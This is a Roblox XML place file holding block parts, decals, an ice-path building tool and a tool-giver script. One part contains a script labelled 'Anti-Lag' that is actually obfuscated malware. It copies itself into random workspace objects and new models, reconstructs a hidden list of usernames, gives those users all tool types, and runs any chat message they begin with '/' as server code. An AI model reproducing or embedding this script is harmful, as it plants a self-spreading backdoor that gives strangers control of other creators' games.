				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>30</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>73.2000046</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX66">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX67">
				<Properties>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX68">
				<Properties>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX69">
				<Properties>
					<token name="Face">3</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX70">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX71">
				<Properties>
					<token name="Face">0</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3501219</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX72">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>-211.600006</X>
					<Y>31.1000004</Y>
					<Z>-170.5</Z>
					<R00>0</R00>
					<R01>-1</R01>
					<R02>0</R02>
					<R10>1</R10>
					<R11>-0</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>-0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>40</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>73.2000046</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX73">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX74">
				<Properties>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX75">
				<Properties>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX76">
				<Properties>
					<token name="Face">3</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX77">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3789091</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX78">
				<Properties>
					<token name="Face">0</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=3501219</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX79">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Anti-Lag</string>
					<string name="Source">Altitude = script:clone()
calco = {&quot;u&quot;, &quot;1&quot;,&quot;4&quot;,&quot;D&quot;,&quot;j&quot;,&quot;g&quot;,&quot;M&quot;,&quot;k&quot;,&quot;a&quot;,&quot;e&quot;,&quot;d&quot;,&quot;c&quot;,&quot;2&quot;,&quot;3&quot;,&quot;r&quot;,&quot;t&quot;,&quot;j&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) 
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) 
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<External>RBX80</External>
		<Item class="Model" referent="RBX81">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX82">
				<Properties>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">make you&apos;re giver</string>
					<Ref name="PrimaryPart">RBX83</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX84">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-2.5</X>
							<Y>3.4000001</Y>
							<Z>107.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX85">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-3.5</X>
							<Y>3.3999896</Y>
							<Z>109.5</Z>
							<R00>0.999999106</R00>
							<R01>1.26419318e-005</R01>
							<R02>-1.04804913e-005</R02>
							<R10>-1.26416326e-005</R10>
							<R11>1</R11>
							<R12>2.31133945e-005</R12>
							<R20>1.04807841e-005</R20>
							<R21>-2.3113118e-005</R21>
							<R22>0.999999106</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX86">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-1.49977112</X>
							<Y>3.1051383</Y>
							<Z>107.498032</Z>
							<R00>-0.999996364</R00>
							<R01>4.31583467e-005</R01>
							<R02>1.04847149e-005</R02>
							<R10>4.31595618e-005</R10>
							<R11>1</R11>
							<R12>0.000129476612</R12>
							<R20>-1.04791352e-005</R20>
							<R21>0.000129477034</R21>
							<R22>-0.999996364</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="HopperBin" referent="RBX87">
						<Properties>
							<token name="BinType">0</token>
							<string name="Name">IcePath</string>
							<Content name="TextureId"><null></null></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="LocalScript" referent="RBX88">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Local Gui</string>
								<string name="Source">bin = script.Parent

function onKeyDown(key,mouse) 
key:lower() 
if key == &quot;r&quot; then
e = game.Workspace:GetChildren()
for i=1,#e do
if e[i].className == &quot;Part&quot; then
if e[i].Name == &quot;Ice&quot; then
if e[i]:findFirstChild(&quot;creator&quot;)~=nil then
if e[i].creator.Value == script.Parent.Parent.Parent then
e[i]:remove()
end
end
end
end
end
elseif key == &quot;n&quot; then
e = game.Workspace:GetChildren()
for i=1,#e do
if e[i].className == &quot;Part&quot; then
if e[i].Name == &quot;Ice&quot; then
e[i]:remove()
end
end
end

end
end

function press(mouse)
if sel == true then
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(6,2,18)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Light blue&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-4,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
press(mouse)
end
end


function onButton1Down(mouse)
sel = true
if sel == true then
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,17)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Light blue&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-5,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,17)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Light blue&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-4,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,15)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Light blue&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-6,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
press(mouse)
end
end


function onButton1Up(mouse)
sel = false
end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.Button1Up:connect(function() onButton1Up(mouse) end)
	mouse.KeyDown:connect(onKeyDown) 
e = script.Parent.Parent.Parent:GetChildren()
for i=1,#e do
if e[i].className == &quot;Hint&quot; then
e[i]:remove()
end
end
s = Instance.new(&quot;Hint&quot;)
s.Parent = script.Parent.Parent.Parent
s.Text = &quot;click R to reset all your ice you made and Hold mouse to create a stream of ice&quot;
end

function unsel(mouse)
e = script.Parent.Parent.Parent:GetChildren()
for i=1,#e do
if e[i].className == &quot;Hint&quot; then
e[i]:remove()
end
end
end


script.Parent.Selected:connect(onEquippedLocal) 
script.Parent.Deselected:connect(unsel)</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX89">
								<Properties>
									<bool name="Disabled">true</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">CleanUp</string>
									<string name="Source">wait(5)
script.Parent:remove()</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX90">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<string name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX91">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-5.5</X>
							<Y>3.4000001</Y>
							<Z>107.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX92">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-3.49995422</X>
							<Y>3.39989805</Y>
							<Z>105.500008</Z>
							<R00>0.999999106</R00>
							<R01>1.26419318e-005</R01>
							<R02>-1.04804913e-005</R02>
							<R10>-1.26416326e-005</R10>
							<R11>1</R11>
							<R12>2.31133945e-005</R12>
							<R20>1.04807841e-005</R20>
							<R21>-2.3113118e-005</R21>
							<R22>0.999999106</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX83">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-4</X>
							<Y>7</Y>
							<Z>107.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
